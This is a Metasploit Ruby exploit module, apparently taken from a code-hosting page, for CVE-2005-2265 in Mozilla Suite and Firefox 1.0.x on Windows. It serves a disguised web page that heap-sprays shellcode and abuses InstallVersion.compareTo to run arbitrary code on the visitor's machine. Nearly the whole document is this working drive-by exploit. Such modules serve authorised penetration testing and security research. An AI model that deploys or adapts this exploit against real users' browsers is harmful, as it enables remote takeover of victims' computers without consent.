Path: blob/master/modules/exploits/multi/browser/mozilla_compareto.rb
19534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78#9# This module acts as an HTTP server10#11include Msf::Exploit::Remote::HttpServer::HTML1213# include Msf::Exploit::Remote::BrowserAutopwn14# The version for this vuln is tricky because it affects mozilla 1.7-1.7.1015# and firefox 1.0-1.0.4, so we set minver and maxver to the outer bounds.16# autopwn_info({17# :ua_name => HttpClients::FF,18# :ua_minver => "1.0",19# :ua_maxver => "1.7.10",20# :os_name => OperatingSystems::Match::WINDOWS,21# :javascript => true,22# :rank => NormalRanking, # reliable memory corruption23# :vuln_test => "if (typeof InstallVersion != 'undefined') { is_vuln = true; }",24# })2526def initialize(info = {})27super(28update_info(29info,30'Name' => 'Mozilla Suite/Firefox compareTo() Code Execution',31'Description' => %q{32This module exploits a code execution vulnerability in the Mozilla33Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit34module is a direct port of Aviv Raff's HTML PoC.35},36'License' => MSF_LICENSE,37'Author' => ['hdm', 'Aviv Raff <avivra[at]gmail.com>'],38'References' => [39['CVE', '2005-2265'],40['OSVDB', '17968'],41['BID', '14242'],42['URL', 'http://www.mozilla.org/security/announce/mfsa2005-50.html'],43],44'Payload' => {45'Space' => 400,46'BadChars' => "\x00",47},48'Platform' => %w{win},49'Targets' => [50# Tested against Firefox 1.0.4 and Mozilla 1.7.1 on51# WinXP-SP3 and Win2kAS-SP052[53'Firefox < 1.0.5, Mozilla < 1.7.10, Windows',54{55'Platform' => 'win',56'Arch' => ARCH_X86,57'Ret' => 0x0c0c0c0c,58}59],60],61'DefaultTarget' => 0,62'DisclosureDate' => '2005-07-13',63'Notes' => {64'Reliability' => UNKNOWN_RELIABILITY,65'Stability' => UNKNOWN_STABILITY,66'SideEffects' => UNKNOWN_SIDE_EFFECTS67}68)69)70end7172def on_request_uri(cli, request)73# Re-generate the payload74return if ((p = regenerate_payload(cli)) == nil)7576print_status("Sending #{self.name}")77send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })7879# Handle the payload80handler(cli)81end8283def generate_html(payload)84enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))85enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))8687spray_to = sprintf("0x%.8x", target.ret)88spray_slide1 = Rex::Text.to_unescape([target.ret].pack('V'), Rex::Arch.endian(target.arch))89spray_slide2 = Rex::Text.to_unescape([target.ret].pack('V'), Rex::Arch.endian(target.arch))90eax_address = sprintf("0x%.8x", target.ret)9192return %Q|93<html>94<head>95<!--96Copyright (C) 2005-2006 Aviv Raff (with minor modifications by HDM for the MSF module)97From: http://aviv.raffon.net/2005/12/11/MozillaUnderestimateVulnerabilityYetAgainPlusOldVulnerabilityNewExploit.aspx98Greets: SkyLined, The Insider and shutdown99-->100<title>One second please...</title>101<script language="javascript">102103function BodyOnLoad()104{105location.href="javascript:void (new InstallVersion());";106CrashAndBurn();107};108109#{js_heap_spray}110// The "Heap Spraying" is based on SkyLined InternetExploiter2 methodology111function CrashAndBurn()112{113// Payload - Just return..114var payLoadCode=unescape("#{enc_code}");115116// Size of the heap blocks117var heapBlockSize=0x400000;118sprayHeap(payLoadCode, #{target.ret}, heapBlockSize - (payLoadCode.length + 0x38));119120// Set address to fake "pdata".121var eaxAddress = #{eax_address};122123// This was taken from shutdown's PoC in bugzilla124// struct vtbl { void (*code)(void); };125// struct data { struct vtbl *pvtbl; };126//127// struct data *pdata = (struct data *)(xxAddress & ~0x01);128// pdata->pvtbl->code(pdata);129//130(new InstallVersion).compareTo(new Number(eaxAddress >> 1));131}132// -->133</script>134</head>135<body onload="BodyOnLoad()">136</body>137</html>138|139end140end141142143